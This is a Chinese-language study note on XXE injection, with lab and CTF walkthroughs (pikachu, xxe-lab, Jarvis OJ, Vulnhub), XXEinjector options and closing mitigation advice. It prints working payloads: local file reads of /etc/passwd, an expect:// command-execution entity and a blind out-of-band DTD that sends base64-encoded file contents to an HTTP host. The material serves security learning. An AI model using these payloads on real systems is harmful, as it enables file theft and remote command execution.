WEB漏洞—XXE&XML之利用检测全解

WEB漏洞—XXE&XML之利用检测全解

20210503170434

知识点

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML对比

  • XML被设计为传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。
  • HTML旨在显示信息,而XML旨在传输信息。
1
2
3
4
5
6
7
8
9
10
11
//内部实体例子

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE entity [
<!ENTITY name "yatming"> //表示的一个实体,实体名是name,实体内容是:yatming
]>
<author>
<nickname>&name;</nickname> //引用上面定义的实体,这里的内容引用之后的结果就是:yatming
//引用实体是有固定格式的:&实体名;
<age>18</age>
</author>
1
2
3
4
5
6
7
8
9
10
11
//外部实体例子

<?xml version="1.0" encoding="utf-8"?> //这一行指定了XML的元数据,这里的版本号表示XML解析处理时遵循的规范,这个对于一些XML解析器是可选的
<!DOCTYPE entity [
<!ENTITY name SYSTEM "file:///etc/passwd"> //定义了一个外部实体,含义是SYSTEM从后面的地址引入实体的内容,实体名是name
]>
<author>
<nickname>&name;</nickname> //引用上面定义的实体,这里的内容引用之后的结果就是:etc/passwd这个文件的内容
//引用实体是有固定格式的:&实体名;
<age>18</age>
</author>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
XXE漏洞原理
现象:攻击者可以通过xxe漏洞直接访问目标网站的一些敏感信息

XML又叫"外部实体注入"
XML又叫标记语言,可以用来定义数据,举一个简单的例子,HTML有学过的话,里面有很多标签,然后这个标签是可以直接引用的,比如<br>,<p>之类,是可以直接用的,而XML的标签是需要自己定义的

文档定义类型简称DTD,DTD是可选的也是漏洞产生的地方(DTD的值所产生的漏洞)

DTD的作用是定义这个文件有哪些模块,以及这些模块包含什么样的内容。
常见的内容有:元素,属性和实体
这里重点看一下实体
实体你可以理解为编程语言中的常量,可以将一个段文本定义成一个实体,定义成实体之后,可以在实体中引用这个文本

实体主要分为两种:一种内部实体,一种外部实体

XXE攻击简介

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % xxe SYSTEM "http://127.0.0.1:9090/xxe.dtd">
]>

//百分号(%)表示这是一个参数实体
这里为什么要用参数实体,是因为只有参数实体才可以在dtd中使用,但是他也有一个限制就是他只能在外部dtd中使用

被引用的外部实体:

1
2
3
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1:9090/attack/%file;'>">
%all;
%send;

参考视频教程:

1
2
3
4
5
https://www.bilibili.com/video/BV1at41177SA/?spm_id_from=333.788.recommend_more_video.2

https://www.bilibili.com/video/BV1os411E75e/?spm_id_from=333.788.recommend_more_video.1

https://www.bilibili.com/video/BV16s411g7gM?spm_id_from=333.1007.top_right_bar_window_default_collection.content.click

XML和XXE区别

  • XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
  • XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML和HTML的区别

  • XML 与 HTML 的主要差异:XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息 ,而 XML 旨在传输信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!--XML 声明-->

<?xml version="1.0"?>

<!--文档类型定义-->

<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->

<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->

]]]>

<!--文档元素-->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

DTD文档类型定义

  • (DTD)可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
1
2
3
4
5
6
7
<!--内部的 DOCTYPE 声明-->

<!DOCTYPE 根元素 [元素声明]>

<!--外部文档声明-->

<!DOCTYPE 根元素 SYSTEM ”文件名”>

DTD 实体

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--内部实体声明-->

<!ENTITY 实体名称 "实体的值">

<!--外部实体声明-->

<!ENTITY 实体名称 SYSTEM "URI">

<!--参数实体声明-->

<!ENTITY %实体名称 "实体的值">

<!ENTITY %实体名称 SYSTEM "URI">

pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入

20210503171313

Snipaste_2022-05-27_10-35-37

读取文件

  • 用file伪协议读取d盘的1.txt文件,当然这里的伪协议是隐藏在XML的文档实体中,这种是有回显的类型的漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://1.txt">
]>
<x>&xxe;</x>

<!--xml的声明-->
<!--文档的类型定义:这里是所有的格式都可以-->
<!--文档的实体,xxe为实体里面的变量,下面就执行这个变量-->


<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///c://1.txt">
]>
<x>&f;</x>

Snipaste_2022-06-08_19-35-39

内网探针或攻击内网应用(触发漏洞地址)

  • 这里是探针内网端口对应的网站(相当于进行了端口扫描)
  • 以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY rabbit SYSTEM "http://192.168.253.141/1.txt">
]>
<x>&rabbit;</x>

如果结果不对就不会显示正常页面

玩法-RCE(该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令)

  • RCE是远程命令执行漏洞
1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
  • 引入外部实体 dtd
  • 访问本地的evil2.dtd文件(这个是XML的格式文件,访问该文件就会以XML格式执行)
  • evil2.dtd文件中,写入XML的伪协议代码:访问本地D盘的test.txt文件
  • 条件:在对方代码有没有禁止外部实体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY rabbit SYSTEM "http://192.168.253.141/1.txt">
]>
<x>&rabbit;</x>



<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/test.txt">
]>
<x>&rabbit;</x>
  • 其中evil2.dtd文件内容
1
<!ENTITY send SYSTEM "file:///d:/test.txt">
  • evil2.dtd文件放到靶场的端口根目录
  • 执行包含伪协议的XML(类似于文件包含中:远程包含的原理),可以用于绕过拦截软件

Snipaste_2022-05-27_14-46-32

引用外部实体这种很像文件包含一节说到的远程包含以及本地包含这个两个知识点

这里我用虚拟机里面的phpstudy2018,死活不行,但是切换到物理机的新版小皮又可以了, 猜测应该是有些开关没有打开,所以不支持xml,或者是dtd

无回显-读取文件

  1. 读取test.txt文件的内容(端口根目录),然后base64加密赋值给变量file
  2. 访问自己本地的test.dtd文件(貌似这里也可以说内网的其它电脑,我猜测是本地,应为要自己伪造test.dtd文件才行),以XML格式执行本地的test.dtd文件
  3. 将本地test.txt文件的加密内容赋值给data变量。然后再通过日志的读取或者文件的接受变量来获取靶场的1.txt的文件的内容
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/1.dtd">
%dtd;
%send;
]>
  • test.dtd文件
1
2
3
4
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;

注释掉回显Snipaste_2022-06-08_19-46-13

这里我开启了日志,但是接收不到这个日志,不知道什么情况,以后有机会在解决,所以这里做理论分析

Snipaste_2022-06-08_20-08-52

如上图所示,你执行了代码之后,会在日志中生成一条日志,而图片中的箭头指向就是base64的编码,只需要解码就可以了

Snipaste_2022-06-08_20-10-22

这里的流程很像内网渗透里面的 “反弹shell”

问题解决了,这里文件读取的路径不是端口根目录应该是脚本执行的目录

Snipaste_2022-06-08_20-29-41

而且我也不是在access.log里面查看,我是在下图中指定的位置查看

Snipaste_2022-06-08_20-27-11

Snipaste_2022-06-08_20-28-06

成功读取

参考blog

1
https://www.bilibili.com/read/cv14409425?spm_id_from=333.999.0.0

绕过

如果HTTP被过滤,则可以通过其它协议进行绕过

—PHP伪协议执行的要求貌似还比较高

—entity,system,file等关键字过滤,可以使用编码方式绕过

#如何判断是什么过滤

—构造各种payload进行尝试(网上有字典,构造脚本去跑就行)

在黑盒的情况下,手工判断的方式:用工具爬行数据包,然后查找,content-Type值进行判断

Snipaste_2022-06-08_20-40-42

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

https://github.com/c0ny1/xxe-lab

burp2021没有spider

Snipaste_2022-06-09_04-31-24

Snipaste_2022-06-09_04-31-02

这里进行xml的筛选

Snipaste_2022-06-09_04-32-15

从数据包和类型这里可以看出这里是一个典型的XML的写法

Snipaste_2022-06-09_04-33-25

将xml的语句改为攻击paylod,可以看到成功读取

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/

Snipaste_2022-06-09_04-35-33

抓包分析是json的格式

文件类型:content-type:application/json

更改content-type值查看返回

  • 将文件类型修改为:content-type:application/XML
  • 将post的数据修改为XML格式
1
2
3
4
5
6
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<x>&xxe;</x>

这里是linux的操作系统

Snipaste_2022-06-09_04-39-10

这里用的就是盲猜,就是本身不确定对方是不是有 xml 漏洞,因为原本是json的格式,盲猜修改之后,发现可以

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

https://www.vulnhub.com/entry/xxe-lab-1,254/

Snipaste_2022-06-09_04-52-20

通过nmap扫描可以知道是147,141是我另外一个,所以嘿嘿

Snipaste_2022-06-09_04-58-04

Snipaste_2022-06-09_04-58-17

Snipaste_2022-06-09_04-58-28

扫后台发现了这里的登陆目录

Snipaste_2022-06-09_05-25-37

使用payload

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">

]>

<root><name>&sp;</name><password>hj</password></root>

直接更改post提交的部分

使用burp自带的base64解密,得出账号密码,密码解密如下

Snipaste_2022-06-09_05-27-13

如果你直接登陆拿着账号密码登陆是不行的,因为这里的admin.php不是下图页面的登陆界面,所以如果你要登陆这里的话,就需要更改一下网站路径

Snipaste_2022-06-09_05-29-07

Snipaste_2022-06-09_05-30-27

Snipaste_2022-06-09_05-30-41

得到flag的路径,发现访问不了,那么就用xxe漏洞对这个文件进行读取

但是这里需要注意,因为flagmeout.php文件是在网站的根目录下,所以需要用一个./来访问上一级目录,然后在对这个文件进行读取

Snipaste_2022-06-09_05-32-37

读取成功,复制解密

Snipaste_2022-06-09_05-32-28

这里是一个base32的一个加密(我以为这已经是flag了),base32的特点是不会有base64的那个等于号,当然这不是绝对的,网上使用在线解密工具

Snipaste_2022-06-09_05-37-14

解密之后,是一个base64的加密方式(好家伙直接双重加密)

Snipaste_2022-06-09_05-37-33

再次解密得到路径,对路径进行读取

Snipaste_2022-06-09_05-41-39

Snipaste_2022-06-09_05-39-47

这个是php的代码,找一个在线平台运行

Snipaste_2022-06-09_05-43-40

安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://github.com/enjoiz/XXEinjector

直接用忍者系统,因为忍者系统已经提前吧这个Ruby环境搭建好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
2.  常见的参数

--host 必填项– 用于建立反向链接的IP地址。(host=192.168.0.2)

--file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)

--path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)

--brute 必填项-是否需要爆破文件 -爆破文件的路径(brute=/tmp/brute.txt)

--logger 记录输出结果。

--rhost 远程主机IP或域名地址。(--rhost=192.168.0.3)

--rport 远程主机的TCP端口信息。(--rport=8080)

--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。

--netdoc 使用netdoc协议。(Java).

--enumports 枚举用于反向链接的未过滤端口(enumports=21,22,80,443,445)

--hashes 窃取运行当前应用程序用户的Windows哈希。

--expect 使用PHP expect扩展执行任意系统命令。(--expect=ls)

--upload 使用Java jar向临时目录上传文件。(upload=/tmp/upload.txt)

--xslt XSLT注入测试。

--ssl 使用SSL。

--proxy 使用代理。(--proxy=127.0.0.1:8080)

--httpport Set自定义HTTP端口。(--httpport=80)

--ftpport 设置自定义FTP端口。(--ftpport=21)

--gopherport 设置自定义gopher端口。(--gopherport=70)

--jarport 设置自定义文件上传端口。(--jarport=1337)

--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)

--test 该模式可用于测试请求的有效。

--urlencode URL编码,默认为URI。

--output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)

--timeout 设置接收文件/目录内容的Timeout。(--timeout=20)

--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)

--fast 跳过枚举询问,有可能出现结果假阳性。

--verbose 显示verbose信息。

Snipaste_2022-06-09_06-03-58

xxe 漏洞修复与防御方案-php,java,python-过滤及禁用

1.方案 1-禁用外部实体

—PHP:

libxml_disable_entity_loader(true);

—JAVA:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

—Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.方案 2-过滤用户提交的 XML 数据

过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC(这里可以用加密绕过)

3.方案3装WAF产品

涉及资源

1
2
3
https://blog.1997sty.com/archives/3435
https://www.bilibili.com/read/cv14409425?spm_id_from=333.999.0.0
https://www.cnblogs.com/20175211lyz/p/11413335.html